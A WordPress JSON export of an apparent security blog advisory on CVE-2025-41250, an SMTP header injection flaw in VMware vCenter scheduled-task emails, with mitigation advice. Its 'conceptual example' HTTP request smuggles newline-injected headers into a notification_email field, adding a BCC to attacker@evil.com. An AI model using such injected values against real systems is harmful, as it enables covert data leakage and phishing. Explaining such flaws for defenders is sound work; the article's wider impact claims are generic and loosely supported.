{"id":81722,"date":"2025-10-04T15:29:19","date_gmt":"2025-10-04T15:29:19","guid":{"rendered":""},"modified":"2025-10-22T10:36:18","modified_gmt":"2025-10-22T16:36:18","slug":"cve-2025-41250-smtp-header-injection-vulnerability-in-vmware-vcenter","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-41250-smtp-header-injection-vulnerability-in-vmware-vcenter\/","title":{"rendered":"<strong>CVE-2025-41250: SMTP Header Injection Vulnerability in VMware vCenter<\/strong>"},"content":{"rendered":"\n<p><strong>Overview<\/strong><\/p>\n\n\n\n<p>The cybersecurity world is witnessing a surge in the number of vulnerabilities affecting various software platforms. One such critical vulnerability, identified as CVE-2025-41250, has been found in VMware vCenter. It is a SMTP header <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47569-sql-injection-vulnerability-in-wpswings-woocommerce-ultimate-gift-card\/\"  data-wpil-monitor-id=\"88916\">injection vulnerability<\/a> that could lead to potential system compromise or data leakage.<br>VMware vCenter, a widely used virtualization management tool, is <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-42980-critical-vulnerability-in-sap-netweaver-enterprise-portal-federated-portal-network\/\"  data-wpil-monitor-id=\"91943\">critical to many enterprise<\/a> environments. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-58755-high-risk-vulnerability-in-monai-ai-toolkit-allowing-system-file-overwrite\/\"  data-wpil-monitor-id=\"88984\">vulnerability holds a significant impact as it allows<\/a> a malicious actor with non-administrative privileges, who has the permission to create scheduled tasks, to manipulate the notification emails sent for scheduled tasks. This could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54377-critical-vulnerability-in-roo-code-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"91026\">potentially lead<\/a> to various security implications, making it a matter of high concern for organizations relying on VMware vCenter.<\/p>\n\n\n\n<p><strong>Vulnerability Summary<\/strong><\/p>\n\n\n\n<p>CVE ID: CVE-2025-41250<br>Severity: High (CVSS 8.5)<br>Attack Vector: Network<br>Privileges Required: Low (non-administrative privileges and permission to create scheduled tasks)<br>User Interaction: None<br>Impact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-10534-critical-firefox-and-thunderbird-vulnerability-leading-to-possible-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"89437\">System Compromise and Data<\/a> Leakage<\/p>\n\n\n\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-4032392360\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n\n\n\n<p>VMware vCenter&nbsp;<\/p>\n\n\n\n<p><strong>How the Exploit Works<\/strong><\/p>\n\n\n\n<p>The exploit takes advantage of the SMTP header <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-41148-serious-code-injection-vulnerability-in-robot-operating-system-ros\/\"  data-wpil-monitor-id=\"88923\">injection vulnerability<\/a> present in VMware vCenter. When an attacker with the ability to create scheduled tasks manipulates the notification emails sent for these tasks, they can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24404-xml-injection-remote-code-execution-vulnerability-in-apache-hertzbeat\/\"  data-wpil-monitor-id=\"88959\">inject malicious code<\/a> or content into the SMTP headers. This can lead to various attacks, including phishing, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-59458-jetbrains-junie-code-execution-vulnerability-through-improper-command-validation\/\"  data-wpil-monitor-id=\"89589\">execution of arbitrary commands<\/a>, or even system compromise.<\/p>\n\n\n\n<p><strong>Conceptual Example Code<\/strong><\/p>\n\n\n\n<p>Here&#8217;s a conceptual example of how the vulnerability might be exploited. This could be a <a class=\"wpil_keyword_link\" data-wpil-keyword-link=\"linked\" data-wpil-monitor-id=\"88911\" href=\"https:\/\/chat.ameeba.com\" title=\"snippet\">snippet<\/a> of the malicious payload injected into the SMTP headers:<\/p><div id=\"ameeb-3596465788\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n\n\n\n<pre class=\"wp-block-preformatted\">POST \/create\/scheduled_task HTTP\/1.1\nHost: vulnerable.vcenter.com\nContent-Type: application\/json\n{\n\"task_name\": \"Regular Maintenance\",\n\"notification_email\": \"admin@company.com\\nBCC: attacker@evil.com\\nSubject: System Compromise\\n\\nAttached payload...\"\n}<\/pre>\n\n\n\n<p>In this example, the attacker manipulates the `notification_email` field to inject additional SMTP headers, effectively turning the original email into a BCC email to the attacker and changing the subject. The email body also contains a malicious payload.<\/p>\n\n\n\n<p><strong>Mitigation Guidance<\/strong><\/p>\n\n\n\n<p>Users are strongly advised to apply the latest vendor patch provided by <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-9693-arbitrary-file-deletion-vulnerability-in-user-meta-user-profile-builder-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"90596\">VMware<\/a> to mitigate this vulnerability. If the patch cannot be applied immediately, using a Web Application <a class=\"wpil_keyword_link\" title=\"Firewall\" href=\"https:\/\/ameeba.com\" data-wpil-keyword-link=\"linked\" data-wpil-monitor-id=\"88910\">Firewall<\/a> (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation method. Regular checks for any unusual activity in the scheduled tasks and their notification emails are also recommended until the patch is applied.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The cybersecurity world is witnessing a surge in the number of vulnerabilities affecting various software platforms. One such critical vulnerability, identified as CVE-2025-41250, has been found in VMware vCenter. It is a SMTP header injection vulnerability that could lead to potential system compromise or data leakage.VMware vCenter, a widely used virtualization management tool, is [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[93],"product":[94],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-81722","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-vmware","product-vcenter"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/81722","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=81722"}],"version-history":[{"count":13,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/81722\/revisions"}],"predecessor-version":[{"id":85132,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/81722\/revisions\/85132"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=81722"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=81722"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=81722"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=81722"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=81722"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=81722"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=81722"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=81722"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=81722"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}